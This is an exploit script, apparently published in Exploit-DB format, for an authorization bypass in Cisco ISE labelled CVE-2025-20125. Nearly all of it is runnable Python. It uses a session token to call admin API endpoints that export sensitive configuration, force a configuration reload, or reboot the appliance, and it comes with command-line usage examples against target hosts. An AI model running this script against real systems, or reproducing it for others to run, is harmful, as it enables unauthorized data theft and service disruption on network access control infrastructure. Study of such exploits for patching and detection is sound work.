# Exploit Title: Cisco ISE 3.0 - Authorization Bypass
# Exploit Author: @ibrahimsql ibrahimsql.com
# Exploit Author's github: https://github.com/ibrahmsql
# Description: Cisco ISE API Authorization Bypass
# CVE: CVE-2025-20125
# Vendor Homepage: https://www.cisco.com/
# Requirements: requests>=2.25.0, urllib3>=1.26.0
# Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import sys
import argparse
import urllib3
urllib3.disable_warnings()
def banner():
print(r"""
___ ____ ___ ___ _____ ____ ___ ____
/ __)(_ _)/ __) / __)( _ ) (_ _)/ __)( ___)
( (__ _)(_ \__ \( (__ )(_)( _)(_ \__ \ )__)
\___)(____)(___/ \___)(_____) (____)(___/(____)
Cisco ISE Authorization Bypass
CVE-2025-20125
Author: ibrahmsql | github.com/ibrahmsql
""")
def exploit_config_read(base_url, session_token):
"""
CVE-2025-20125: Read sensitive configuration
"""
endpoint = f"{base_url}/api/v1/admin/config/export"
headers = {
"Cookie": f"ISESSIONID={session_token}",
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
}
print(f"[+] Attempting to read configuration from: {endpoint}")
try:
r = requests.get(endpoint, headers=headers, verify=False, timeout=10)
if r.status_code == 200:
print("[+] Configuration read successful!")
print(f"[+] Response length: {len(r.text)} bytes")
if r.text:
print(f"[+] Config preview: {r.text[:300]}...")
return True
else:
print(f"[-] Config read failed: {r.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def exploit_config_reload(base_url, session_token):
"""
CVE-2025-20125: Force configuration reload
"""
endpoint = f"{base_url}/api/v1/admin/reload"
headers = {
"Cookie": f"ISESSIONID={session_token}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
}
print(f"[+] Sending config reload request to: {endpoint}")
try:
r = requests.post(endpoint, headers=headers, verify=False, timeout=10)
if r.status_code in (200, 204):
print("[+] Configuration reload accepted!")
print("[+] System may be restarting services...")
return True
elif r.status_code == 401:
print("[-] Authentication failed - invalid session token")
elif r.status_code == 403:
print("[-] Access denied - insufficient privileges")
else:
print(f"[-] Reload failed: {r.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def exploit_system_reboot(base_url, session_token):
"""
CVE-2025-20125: Force system reboot
"""
endpoint = f"{base_url}/api/v1/admin/reboot"
headers = {
"Cookie": f"ISESSIONID={session_token}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)"
}
print(f"[+] Sending system reboot request to: {endpoint}")
print("[!] WARNING: This will reboot the target system!")
try:
r = requests.post(endpoint, headers=headers, verify=False, timeout=10)
if r.status_code in (200, 204):
print("[+] System reboot initiated!")
print("[+] Target system should be rebooting now...")
return True
else:
print(f"[-] Reboot failed: {r.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-20125 - Cisco ISE Authorization Bypass",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 CVE-2025-20125.py --url https://ise.company.com --session ABCD1234 --read
python3 CVE-2025-20125.py --url https://10.0.0.1:9060 --session TOKEN123 --reload
python3 CVE-2025-20125.py --url https://ise.target.com --session XYZ789 --reboot
"""
)
parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance")
parser.add_argument("--session", required=True, help="Authenticated ISE session token")
parser.add_argument("--read", action="store_true", help="Read sensitive configuration")
parser.add_argument("--reload", action="store_true", help="Force configuration reload")
parser.add_argument("--reboot", action="store_true", help="Force system reboot")
args = parser.parse_args()
banner()
# URL validation
if not args.url.startswith(('http://', 'https://')):
print("[-] URL must start with http:// or https://")
sys.exit(1)
# At least one action must be specified
if not any([args.read, args.reload, args.reboot]):
print("[-] Specify at least one action: --read, --reload, or --reboot")
sys.exit(1)
success = False
if args.read:
success |= exploit_config_read(args.url, args.session)
if args.reload:
success |= exploit_config_reload(args.url, args.session)
if args.reboot:
# Confirm reboot action
confirm = input("[!] Are you sure you want to reboot the target? (y/N): ")
if confirm.lower() in ['y', 'yes']:
success |= exploit_system_reboot(args.url, args.session)
else:
print("[-] Reboot cancelled by user")
if success:
print("\n[+] At least one exploit succeeded!")
else:
print("\n[-] All exploits failed")
sys.exit(1)
if __name__ == "__main__":
main()